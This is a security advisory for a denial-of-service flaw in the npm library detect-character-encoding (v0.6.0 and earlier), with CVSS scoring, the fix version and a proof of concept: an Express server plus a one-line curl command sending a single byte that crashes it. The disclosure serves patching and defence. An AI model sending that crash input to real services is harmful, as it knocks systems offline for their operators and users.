GHSA-jqfh-8hw5-fqjr

Suggest an improvement
Source
https://github.com/advisories/GHSA-jqfh-8hw5-fqjr
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/08/GHSA-jqfh-8hw5-fqjr/GHSA-jqfh-8hw5-fqjr.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-jqfh-8hw5-fqjr
Aliases
Related
Published
2021-08-25T14:44:48Z
Modified
2023-11-08T04:06:31.525420Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Improper Handling of Exceptional Conditions in detect-character-encoding
Details

Impact

In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.

Patches

The problem has been patched in detect-character-encoding v0.7.0.

CVSS score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C

Base Score: 7.5 (High) Temporal Score: 7.2 (High)

Since detect-character-encoding is a library, the scoring is based on the “reasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.

Proof of concept

const express = require("express");
const bodyParser = require("body-parser");
const detectCharacterEncoding = require("detect-character-encoding");

const app = express();

app.use(bodyParser.raw());

app.post("/", (req, res) => {
  const charsetMatch = detectCharacterEncoding(req.body);

  res.end(charsetMatch.encoding);
});

app.listen(3000);

printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000 crashes the server.

Database specific
{
    "nvd_published_at": "2021-08-24T19:15:00Z",
    "github_reviewed_at": "2021-08-24T19:11:52Z",
    "severity": "HIGH",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-755"
    ]
}
References

Affected packages

npm / detect-character-encoding

Package

Name
detect-character-encoding
View open source insights on deps.dev
Purl
pkg:npm/detect-character-encoding

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.7.0